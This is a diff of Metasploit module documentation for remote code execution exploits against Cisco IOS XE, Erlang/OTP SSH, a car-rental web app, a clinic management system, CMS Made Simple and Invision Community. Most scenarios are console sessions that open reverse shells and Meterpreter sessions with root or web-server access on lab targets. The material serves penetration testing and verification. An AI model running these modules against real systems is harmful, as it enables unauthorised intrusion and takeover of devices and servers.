||||
OS : (Linux 4.19.64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
```
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 0
|
||||
target => 0
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/shell/reverse_tcp
|
||||
payload => cmd/linux/http/x64/shell/reverse_tcp
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.86.122:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
|
||||
[*] Created privilege 15 user 'vmoCbNcA' with password 'UgDnLaCG'
|
||||
[*] Removing user 'vmoCbNcA'
|
||||
[*] Sending stage (38 bytes) to 192.168.86.114
|
||||
[*] Command shell session 8 opened (192.168.86.122:4444 -> 192.168.86.114:61940) at 2025-03-03 20:34:58 +0000
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
|
||||
uname -a
|
||||
Linux test2_c1000v 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019 x86_64 x86_64 x86_64 GNU/Linux
|
||||
exit
|
||||
[*] 192.168.86.114 - Command shell session 8 closed.
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) >
|
||||
```
|
||||
|
||||
### Unix Target (IOS XE 17.3.2)
|
||||
|
||||
```
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set RHOSTS 192.168.86.113
|
||||
RHOSTS => 192.168.86.113
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
payload => cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.86.122:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
|
||||
[*] Created privilege 15 user 'edGjwUsF' with password 'hhOLNNrX'
|
||||
[*] Removing user 'edGjwUsF'
|
||||
[*] Sending stage (24772 bytes) to 192.168.86.113
|
||||
[*] Meterpreter session 9 opened (192.168.86.122:4444 -> 192.168.86.113:56770) at 2025-03-03 20:36:00 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : testc100v
|
||||
OS : Linux 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020
|
||||
Architecture : x64
|
||||
Meterpreter : python/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
```
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/reverse_bash
|
||||
payload => cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.86.122:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
|
||||
[*] Created privilege 15 user 'mXsKBwvG' with password 'gCUirrkj'
|
||||
[*] Removing user 'mXsKBwvG'
|
||||
[*] Command shell session 10 opened (192.168.86.122:4444 -> 192.168.86.113:56802) at 2025-03-03 20:36:39 +0000
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
|
||||
uname -a
|
||||
Linux testc100v 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
|
||||
exit
|
||||
[*] 192.168.86.113 - Command shell session 10 closed.
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) >
|
||||
```
|
||||
|
||||
### Unix Target (IOS XE 16.12.3)
|
||||
|
||||
```
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set RHOSTS 192.168.86.114
|
||||
RHOSTS => 192.168.86.114
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
payload => cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > show options
|
||||
|
||||
Module options (exploit/linux/misc/cisco_ios_xe_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CISCO_CMD_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to execute a command.
|
||||
CISCO_VRF_NAME global yes The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work.
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.114 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
@@ -340,7 +361,7 @@ Payload options (cmd/unix/python/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
|
||||
LHOST eth0 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
@@ -354,45 +375,43 @@ Exploit target:
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > check
|
||||
[+] 192.168.86.59:443 - The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > check
|
||||
[+] 192.168.86.114:443 - The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.86.122:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
|
||||
[*] Created privilege 15 user 'pJaWZBTl' with password 'KlcuLPaJ'
|
||||
[*] Removing user 'pJaWZBTl'
|
||||
[*] Sending stage (24772 bytes) to 192.168.86.59
|
||||
[*] Meterpreter session 3 opened (192.168.86.42:4444 -> 192.168.86.59:56572) at 2023-11-06 16:42:36 +0000
|
||||
[*] Created privilege 15 user 'vhQbLuix' with password 'JAjuUVov'
|
||||
[*] Removing user 'vhQbLuix'
|
||||
[*] Sending stage (24772 bytes) to 192.168.86.114
|
||||
[*] Meterpreter session 11 opened (192.168.86.122:4444 -> 192.168.86.114:61966) at 2025-03-03 20:37:36 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : router
|
||||
Computer : test2_c1000v
|
||||
OS : Linux 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019
|
||||
Architecture : x64
|
||||
Meterpreter : python/linux
|
||||
meterpreter >
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
```
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/reverse_bash
|
||||
payload => cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.86.122:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
|
||||
[*] Created privilege 15 user 'aZIYJugi' with password 'RziZqysr'
|
||||
[*] Removing user 'aZIYJugi'
|
||||
[*] Command shell session 4 opened (192.168.86.42:4444 -> 192.168.86.59:56584) at 2023-11-06 16:43:30 +0000
|
||||
[*] Created privilege 15 user 'JJgILIEn' with password 'EkMpGWih'
|
||||
[*] Removing user 'JJgILIEn'
|
||||
[*] Command shell session 12 opened (192.168.86.122:4444 -> 192.168.86.114:61982) at 2025-03-03 20:38:16 +0000
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
|
||||
uname -a
|
||||
Linux router 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019 x86_64 x86_64 x86_64 GNU/Linux
|
||||
Linux test2_c1000v 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019 x86_64 x86_64 x86_64 GNU/Linux
|
||||
exit
|
||||
[*] 192.168.86.59 - Command shell session 4 closed.
|
||||
[*] 192.168.86.114 - Command shell session 12 closed.
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) >
|
||||
```
|
||||
|
||||
@@ -0,0 +1,172 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Erlang/OTP is a set of libraries for the Erlang programming language.
|
||||
|
||||
Prior to versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20, a SSH server may allow an attacker
|
||||
to perform unauthenticated remote code execution (RCE).
|
||||
|
||||
By exploiting a flaw in SSH protocol message handling, a malicious actor could gain unauthorized access
|
||||
to affected systems and execute arbitrary commands without valid credentials. This issue is patched in
|
||||
versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20.
|
||||
|
||||
### Introduction
|
||||
|
||||
This module detect and exploits CVE-2025-32433, a pre-authentication vulnerability in Erlang-based SSH
|
||||
servers that allows remote command execution. By sending crafted SSH packets, it executes a payload to
|
||||
establish a reverse shell on the target system.
|
||||
|
||||
The exploit leverages a flaw in the SSH protocol handling to execute commands via the Erlang `os:cmd`
|
||||
function without requiring authentication.
|
||||
|
||||
## Testing
|
||||
|
||||
### Vulnerable application
|
||||
|
||||
Execute the following commands:
|
||||
|
||||
```bash
|
||||
git clone https://github.com/ProDefense/CVE-2025-32433
|
||||
cd CVE-2025-32433
|
||||
docker build -t cve-ssh:latest .
|
||||
docker run -d -p 2222:2222 cve-ssh:latest
|
||||
```
|
||||
|
||||
### Patched application
|
||||
|
||||
Execute the following commands:
|
||||
|
||||
```bash
|
||||
git clone https://github.com/exa-offsec/ssh_erlangotp_rce
|
||||
cd ssh_erlangotp_rce/patched
|
||||
docker build -t patched-ssh:latest .
|
||||
docker run -d -p 2223:2223 patched-ssh:latest
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use exploit/linux/ssh/ssh_erlangotp_rce`
|
||||
3. Do: `set RHOSTS [IP]`
|
||||
4. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Using linux commands (Target 0)
|
||||
|
||||
Use the linux commands CMD.
|
||||
|
||||
```
|
||||
msf6 exploit(linux/ssh/ssh_erlangotp_rce) > options
|
||||
|
||||
Module options (exploit/linux/ssh/ssh_erlangotp_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
RHOSTS 192.168.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 2222 yes The target port (TCP)
|
||||
SSH_IDENT SSH-2.0-OpenSSH_8.9 yes SSH client identification string sent to the server
|
||||
|
||||
Payload options (cmd/linux/https/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_CHECK_CERT false yes Check SSL certificate
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILELESS false yes Attempt to run payload without touching disk, Linux ≥3.17 only
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
LHOST 192.168.0.1 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
When FETCH_FILELESS is false:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_FILENAME tVzpeXtmX no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux Command
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/ssh/ssh_erlangotp_rce) > run
|
||||
[*] Started reverse TCP handler on 192.168.0.1:4444
|
||||
[*] 192.168.0.1:2222 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] 192.168.0.1:2222 - Starting scanner for CVE-2025-32433
|
||||
[*] 192.168.0.1:2222 - Sending SSH_MSG_KEXINIT...
|
||||
[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_OPEN...
|
||||
[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
|
||||
[+] 192.168.0.1:2222 - The target is vulnerable.
|
||||
[*] 192.168.0.1:2222 - Starting exploit for CVE-2025-32433
|
||||
[+] 192.168.0.1:2222 - Received banner: SSH-2.0-Erlang/5.1.4.7
|
||||
[*] 192.168.0.1:2222 - Sending SSH_MSG_KEXINIT...
|
||||
[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_OPEN...
|
||||
[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
|
||||
[+] 192.168.0.1:2222 - Payload sent successfully
|
||||
[*] Sending stage (3045380 bytes) to 172.17.0.2
|
||||
[*] Meterpreter session 1 opened (192.168.0.1:4444 -> 172.17.0.2:35770) at 2025-04-27 20:23:02 +0400
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Using unix commands (Target 1)
|
||||
|
||||
Use the unix commands CMD.
|
||||
|
||||
```
|
||||
msf6 exploit(linux/ssh/ssh_erlangotp_rce) > options
|
||||
|
||||
Module options (exploit/linux/ssh/ssh_erlangotp_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
RHOSTS 192.168.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 2222 yes The target port (TCP)
|
||||
SSH_IDENT SSH-2.0-OpenSSH_8.9 yes SSH client identification string sent to the server
|
||||
|
||||
Payload options (cmd/unix/reverse_bash):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.0.1 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 Unix Command
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/ssh/ssh_erlangotp_rce) > run
|
||||
[*] Started reverse TCP handler on 192.168.0.1:4444
|
||||
[*] 192.168.0.1:2222 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] 192.168.0.1:2222 - Starting scanner for CVE-2025-32433
|
||||
[*] 192.168.0.1:2222 - Sending SSH_MSG_KEXINIT...
|
||||
[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_OPEN...
|
||||
[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
|
||||
[+] 192.168.0.1:2222 - The target is vulnerable.
|
||||
[*] 192.168.0.1:2222 - Starting exploit for CVE-2025-32433
|
||||
[+] 192.168.0.1:2222 - Received banner: SSH-2.0-Erlang/5.1.4.7
|
||||
[*] 192.168.0.1:2222 - Sending SSH_MSG_KEXINIT...
|
||||
[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_OPEN...
|
||||
[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
|
||||
[+] 192.168.0.1:2222 - Payload sent successfully
|
||||
[*] Command shell session 1 opened (192.168.0.1:4444 -> 172.17.0.2:59042) at 2025-04-27 20:24:41 +0400
|
||||
|
||||
whoami
|
||||
root
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
1. <https://x.com/Horizon3Attack/status/1912945580902334793>
|
||||
2. <https://platformsecurity.com/blog/CVE-2025-32433-poc>
|
||||
3. <https://github.com/ProDefense/CVE-2025-32433>
|
||||
@@ -0,0 +1,123 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The **Online Car Rental System 1.0** is vulnerable to **Authenticated Remote Code Execution (RCE)** due to an insecure file upload mechanism. Specifically, the `changeimage1.php` endpoint in the admin panel does not validate uploaded file types, allowing authenticated users to upload arbitrary PHP scripts. These scripts can be accessed and executed via a predictable file path, leading to full remote code execution.
|
||||
|
||||
You can download the vulnerable software from the following link:
|
||||
🔗 [Online Car Rental System 1.0 - Source Code](https://code-projects.org/online-car-rental-using-php-source-code/)
|
||||
|
||||
This module exploits the vulnerability by authenticating to the admin panel, uploading a malicious PHP payload
|
||||
using the vulnerable endpoint, and executing it to gain remote access.
|
||||
|
||||
- **CVE**: [CVE-2024-57487](https://nvd.nist.gov/vuln/detail/CVE-2024-57487)
|
||||
- **Author**: Aaryan Golatkar
|
||||
- **Disclosure Date**: 13/01/2025
|
||||
|
||||
---
|
||||
|
||||
## Verification Steps
|
||||
|
||||
### Vulnerable Application Installation Setup
|
||||
|
||||
#### For Windows:
|
||||
1. Start Apache and MySQL via the **XAMPP Control Panel**.
|
||||
2. Extract the Online Car Rental System 1.0 source code.
|
||||
3. Place the extracted folder inside `htdocs` (e.g., `C:\xampp\htdocs\carrental`).
|
||||
4. Navigate to `http://localhost/phpmyadmin` in your browser.
|
||||
5. Create a database (e.g., `carrental_db`), and import the SQL dump (`carrental.sql`) provided in the `database` directory.
|
||||
6. Visit `http://localhost/carrental/` to verify installation.
|
||||
|
||||
#### For Linux:
|
||||
1. Start services: `sudo systemctl start apache2 && sudo systemctl start mysql`
|
||||
2. Install PHPMyAdmin: `sudo apt install phpmyadmin -y`
|
||||
3. Edit `/etc/apache2/apache2.conf` and append:
|
||||
```
|
||||
Include /etc/phpmyadmin/apache.conf
|
||||
```
|
||||
4. Extract the project into `/var/www/html/`
|
||||
5. Follow the same steps as Windows from here onward.
|
||||
|
||||
---
|
||||
|
||||
## Exploit Module Usage
|
||||
|
||||
### Start msfconsole and load the exploit:
|
||||
|
||||
```bash
|
||||
msfconsole
|
||||
use exploit/multi/http/carrental_fileupload_rce
|
||||
```
|
||||
|
||||
### Set the required options:
|
||||
|
||||
```bash
|
||||
set rhosts <target_ip>
|
||||
set rport <port>
|
||||
set targeturi /carrental
|
||||
set username <admin_username> # Default: admin
|
||||
set password <admin_password> # Default: Test@12345
|
||||
set lhost <your_ip>
|
||||
set lport <your_port>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Checking Target Vulnerability
|
||||
|
||||
```bash
|
||||
check
|
||||
```
|
||||
|
||||
If vulnerable, you will see:
|
||||
|
||||
```
|
||||
[+] <IP> The target appears to be the Online Car Rental System.
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Launching the Exploit
|
||||
|
||||
```bash
|
||||
exploit
|
||||
```
|
||||
|
||||
If successful, you will receive a Meterpreter shell.
|
||||
|
||||
---
|
||||
|
||||
## Scenarios
|
||||
|
||||
```bash
|
||||
msf exploit(multi/http/carrental_fileupload_rce) > check
|
||||
[*] Checking if target is vulnerable...
|
||||
[+] 192.168.1.103:80 - The target appears to be the Online Car Rental System.
|
||||
|
||||
msf exploit(multi/http/carrental_fileupload_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.1.104:4444
|
||||
[*] Uploading PHP Meterpreter payload as WxAqV7.php...
|
||||
[+] Payload uploaded successfully!
|
||||
[*] Executing the uploaded shell at /carrental/admin/img/vehicleimages/WxAqV7.php...
|
||||
[*] Sending stage (40004 bytes) to 192.168.1.103
|
||||
[*] Meterpreter session 2 opened (192.168.1.104:4444 -> 192.168.1.103:60615)
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-1234
|
||||
OS : Windows NT 10.0 build 19045 (Windows 10)
|
||||
Meterpreter : php/windows
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Options
|
||||
|
||||
| Option | Required | Description |
|
||||
|--------------|----------|-------------------------------------------------------|
|
||||
| `TARGETURI` | Yes | The base path to the Car Rental System (e.g., `/carrental`) |
|
||||
| `USERNAME` | Yes | Admin username (default: `admin`) |
|
||||
| `PASSWORD` | Yes | Admin password (default: `Test@12345`) |
|
||||
| `RHOSTS` | Yes | The target IP address |
|
||||
| `RPORT` | Yes | The target web server port (default: 80) |
|
||||
| `LHOST` | Yes | The local host to receive the reverse shell |
|
||||
| `LPORT` | Yes | The local port to receive the reverse shell |
|
||||
|
||||
---
|
||||
@@ -0,0 +1,68 @@
|
||||
## Vulnerable Application
|
||||
Clinic Patient's Management System contains SQL injection vulnerability in login section. This module uses the vulnerability
|
||||
(CVE-2025-3096) to gain unauthorized access to the application. As lateral movement, it uses another vulnerability (CVE-2022-2297) to gain remote code execution.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
### Vulnerable Application Installation Setup
|
||||
1. Install Clinic's Patient Management System on your web server.
|
||||
- Download the Web Application from [here](https://www.sourcecodester.com/download-code?nid=15453&title=Clinic%27s+Patient+Management+System+in+PHP%2FPDO+Free+Source+Code)
|
||||
|
||||
2. Start `msfconsole` and load the exploit module:
|
||||
```bash
|
||||
msfconsole
|
||||
use exploit/multi/http/clinic_pms_sqli_to_rce
|
||||
```
|
||||
|
||||
3. Set the required options:
|
||||
```bash
|
||||
set rport <port>
|
||||
set rhost <ip>
|
||||
set targeturi /pms
|
||||
```
|
||||
|
||||
4. Check if the target is vulnerable:
|
||||
```bash
|
||||
check
|
||||
```
|
||||
|
||||
If the target is vulnerable, you will see a message indicating that the target is susceptible to the exploit:
|
||||
```
|
||||
[+] <IP> The target is vulnerable.
|
||||
```
|
||||
|
||||
5. Set up the listener for the exploit:
|
||||
```bash
|
||||
set lport <port>
|
||||
set lhost <ip>
|
||||
```
|
||||
|
||||
6. Launch the exploit:
|
||||
```bash
|
||||
exploit
|
||||
```
|
||||
|
||||
7. If successful, you will receive a PHP Meterpreter shell.
|
||||
|
||||
## Options
|
||||
- `TARGETURI`: (Required) The base path to the Clinic Patient Management System (default: `/pms`).
|
||||
|
||||
## Scenarios
|
||||
|
||||
```bash
|
||||
msf6 exploit(multi/http/clinic_pms_sqli_to_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.168.128:4444
|
||||
[*] Logged using SQL injection..
|
||||
[*] Malicious file uploaded..
|
||||
[*] Logged out..
|
||||
[*] Logged using SQL injection..
|
||||
[*] Sending stage (40004 bytes) to 192.168.168.146
|
||||
[*] Meterpreter session 1 opened (192.168.168.128:4444 -> 192.168.168.146:52522) at 2025-05-13 13:33:52 +0200
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : ubuntu
|
||||
OS : Linux ubuntu 6.8.0-52-generic #53~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Jan 15 19:18:46 UTC 2 x86_64
|
||||
Meterpreter : php/linux
|
||||
|
||||
```
|
||||
|
||||
@@ -0,0 +1,104 @@
|
||||
## Vulnerable Application
|
||||
|
||||
CMS Made Simple <= v2.2.21 allows an authenticated administrator to upload files
|
||||
with the `.phar` or `.phtml` extensions, enabling execution of PHP code
|
||||
leading to RCE. The file can be executed by accessing its URL in the
|
||||
`/uploads/` directory.
|
||||
|
||||
## Installation
|
||||
|
||||
### Kali Linux 2024.3
|
||||
|
||||
Install PHP dependencies:
|
||||
```
|
||||
sudo apt install -y php-gd php-mbstring php-intl php-xml php-curl php-zip php-mysql mariadb-server mariadb-client apache2 libapache2-mod-php8.4 unzip wget
|
||||
```
|
||||
|
||||
Start mariadb and apache:
|
||||
```
|
||||
sudo systemctl start apache2
|
||||
sudo systemctl start mariadb
|
||||
```
|
||||
|
||||
Connect to the database:
|
||||
```
|
||||
sudo mysql -u root -p
|
||||
```
|
||||
|
||||
Create a database user `msfuser` and a database named `cmsms`:
|
||||
```
|
||||
CREATE USER 'msfuser'@'localhost' IDENTIFIED BY 'msfpass';
|
||||
CREATE DATABASE cmsms;
|
||||
GRANT ALL PRIVILEGES on cmsms.* TO 'msfuser'@'localhost';
|
||||
FLUSH PRIVILEGES;
|
||||
EXIT;
|
||||
```
|
||||
|
||||
Download CMSMadeSimple, extract it and move it to `/var/www/html`:
|
||||
```
|
||||
wget https://s3.amazonaws.com/cmsms/downloads/15179/cmsms-2.2.21-install.zip
|
||||
unzip cmsms-2.2.21-install.zip
|
||||
sudo mv cmsms-2.2.21-install.php /var/www/html
|
||||
rm /var/www/html/index.html
|
||||
```
|
||||
|
||||
Set the necessary permissions:
|
||||
```
|
||||
sudo chmod 755 -R /var/www/html/
|
||||
sudo chown www-data:www-data -R /var/www/html/
|
||||
```
|
||||
|
||||
The application should be now available at `http://localhost/cmsms-2.2.21-install.php/`,
|
||||
navigate there in a browser to complete the setup wizard.
|
||||
On the tests page, `Testing if we can change INI settings` warning can be ignored.
|
||||
It will ask you for the database credentials created above, input them and enter `cmsms` for database name.
|
||||
|
||||
Once complete, go to `http://localhost/admin/login.php`, you should see an admin login panel.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install CMSMadeSimple
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/multi/http/cmsms_file_manager_auth_rce`
|
||||
4. Do: `set RHOST [IP]`
|
||||
5. Do: `set username [username]`
|
||||
6. Do: `set password [password]`
|
||||
7. Do: `run`
|
||||
8. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
The username for the CMSMS admin panel. Default is empty string
|
||||
|
||||
### PASSWORD
|
||||
The password for the CMSMS admin panel. Default is empty string
|
||||
|
||||
## Scenarios
|
||||
|
||||
### CMSMadeSimple v2.2.21 on Kali Linux 2024.3
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/http/cmsms_file_manager_auth_rce
|
||||
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/cmsms_file_manager_auth_rce) > set RHOST 127.0.0.1
|
||||
RHOST => 127.0.0.1
|
||||
msf6 exploit(multi/http/cmsms_file_manager_auth_rce) > set username admin
|
||||
username => admin
|
||||
msf6 exploit(multi/http/cmsms_file_manager_auth_rce) > set password password
|
||||
password => password
|
||||
msf6 exploit(multi/http/cmsms_file_manager_auth_rce) > run
|
||||
[*] Started reverse TCP handler on 192.168.232.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Sending stage (40004 bytes) to 192.168.232.128
|
||||
[*] Meterpreter session 1 opened (192.168.232.128:4444 -> 192.168.232.128:42794) at 2025-03-22 02:53:16 -0400
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : kali
|
||||
OS : Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,134 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This Metasploit module exploits a remote-code injection in Invision Community ≤ 5.0.6 via the **theme editor**’s `customCss` endpoint:
|
||||
|
||||
* **CVE-2025-47916**: malformed `{expression="…"}` allows evaluation of arbitrary PHP expressions in the `content` parameter.
|
||||
|
||||
### To replicate a vulnerable environment
|
||||
|
||||
1. **Download the pre-built Docker lab** (includes `Dockerfile`, `docker-compose.yml` and the IPS 5.0.6 application):
|
||||
|
||||
```bash
|
||||
wget https://archive.org/download/ips-5.0.6/IPS-5.0.6.zip -O ips_5.0.6_lab.zip
|
||||
mkdir ips_5.0.6_lab_dir
|
||||
unzip ips_5.0.6_lab.zip -d ips_5.0.6_lab_dir
|
||||
cd ips_5.0.6_lab_dir
|
||||
```
|
||||
|
||||
2. **Bring up the stack**:
|
||||
|
||||
```bash
|
||||
docker-compose up -d
|
||||
```
|
||||
|
||||
3. **Complete the installer** by browsing to [http://localhost:7777](http://localhost:7777).
|
||||
|
||||
* You do **not** need a valid license key; you can enter any text and proceed.
|
||||
* Use database host `db`, user `ipsuser`, password `ipspass`, database `ipsdb`.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. **Check the installed version**:
|
||||
|
||||
```bash
|
||||
curl -s http://localhost:7777/admin/install/eula.txt | head -n5
|
||||
```
|
||||
|
||||
Expected output:
|
||||
|
||||
```
|
||||
=============================[NOTE]=============================
|
||||
Buy license at https://invisioncommunity.com/buy/self-hosted/
|
||||
================================================================
|
||||
IPS 5.0.6 (5000074)
|
||||
=============================[NOTE]=============================
|
||||
```
|
||||
|
||||
2. **In `msfconsole`**, confirm the module’s `check` returns vulnerable:
|
||||
|
||||
```bash
|
||||
use exploit/multi/http/invision_customcss_rce
|
||||
set RHOSTS 127.0.0.1
|
||||
set TARGETURI /
|
||||
check
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
No option
|
||||
